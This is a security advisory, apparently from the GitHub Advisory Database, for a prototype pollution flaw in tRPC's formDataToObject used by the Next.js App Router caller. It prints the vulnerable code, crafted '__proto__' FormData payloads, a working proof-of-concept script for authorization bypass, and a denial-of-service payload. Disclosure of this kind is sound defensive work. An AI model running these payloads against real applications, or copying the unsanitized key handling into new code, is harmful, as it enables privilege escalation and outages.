High

tRPC has possible prototype pollution in `experimental_nextAppDirCaller`

Disclosed: 16.12.2025
Updated: 11.10.2026 10:22

Note that this vulnerability is only present when using experimental_caller / experimental_nextAppDirCaller.

Summary

A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

Affected Versions

Package: @trpc/server
Affected Versions: >=10.27.0
Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts

Vulnerability Details

Root Cause

The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.

Vulnerable Code

// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
  if (path.length > 1) {
    const newPath = [...path];
    const key = newPath.shift();  // ← No validation of dangerous keys
    const nextKey = newPath[0];

    if (!obj[key]) {  // ← Accesses obj["__proto__"] which returns Object.prototype
      obj[key] = isNumberString(nextKey) ? [] : {};
    }
    
    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype
    return;
  }
  // ...
}

export function formDataToObject(formData) {
  const obj = {};
  for (const [key, value] of formData.entries()) {
    const parts = key.split(/[\.\[\]]/).filter(Boolean);  // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
    set(obj, parts, value);
  }
  return obj;
}

Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:

// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
  input = formDataToObject(input);  // ← Vulnerable call
}

An attacker can craft FormData with malicious field names:

const formData = new FormData();
formData.append("__proto__[isAdmin]", "true");
formData.append("__proto__[role]", "superadmin");

When processed, this pollutes Object.prototype:

{}.isAdmin        // → "true"
{}.role           // → "superadmin"

Proof of Concept

bash

# Step 1: Create the project directory

mkdir trpc-vuln-poc
cd trpc-vuln-poc

# Step 2: Initialize npm

npm init -y

# Step 3: Install vulnerable tRPC

npm install @trpc/server@11.7.2

# Step 4: Create the test file

Test.js

const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===\n");

console.log("[1] Estado inicial:");
console.log("    {}.isAdmin =", {}.isAdmin);

const fd = new FormData();
fd.append("__proto__[isAdmin]", "true");
fd.append("__proto__[role]", "superadmin");
fd.append("username", "attacker");

console.log("\n[2] FormData malicioso:");
console.log('    __proto__[isAdmin] = "true"');
console.log('    __proto__[role] = "superadmin"');

console.log("\n[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log("    Resultado:", JSON.stringify(result));

console.log("\n[4] Después del ataque:");
console.log("    {}.isAdmin =", {}.isAdmin);
console.log("    {}.role =", {}.role);

const user = { id: 1, name: "john" };
console.log("\n[5] Impacto en autorización:");
console.log("    Usuario normal:", JSON.stringify(user));
console.log("    user.isAdmin =", user.isAdmin);

if (user.isAdmin) {
    console.log("\n    VULNERABLE - Authorization bypass exitoso!");
} else {
    console.log("\n    ✓ Seguro");
}

Impact

Authorization Bypass (HIGH)

Many applications check user permissions using property access:

// Vulnerable pattern
if (user.isAdmin) {
  // Grant admin access
}

After pollution, all objects will have isAdmin: "true", bypassing authorization.

Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:

formData.append("__proto__[toString]", "not_a_function");
// All subsequent .toString() calls will fail

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	@trpc/server	>= 10.27.0, < 10.45.3, >= 11.0.0, < 11.8.0	10.45.3, 11.8.0

References

CVSS score -

CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L
Weakness (CWE): CWE-1321
Platform: npm
Package: @trpc/server
Disclosed: 16.12.2025
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-43p4-m455-4f4j - CC BY 4.0

Vulnerability history: @trpc/server

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 2
First → latest: 04.2025 12.2025
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

High 2

Disclosures per year

2025: 2
2026: 0

16.12.2025

tRPC has possible prototype pollution in `experimental_nextAppDirCaller` this entry

High CVE-2025-68130 >= 10.27.0, < 10.45.3, >= 11.0.0, < 11.8.0 10.45.3, 11.8.0
24.04.2025

tRPC 11 WebSocket DoS Vulnerability

High CVE-2025-43855 >= 11.0.0, < 11.1.1 11.1.1

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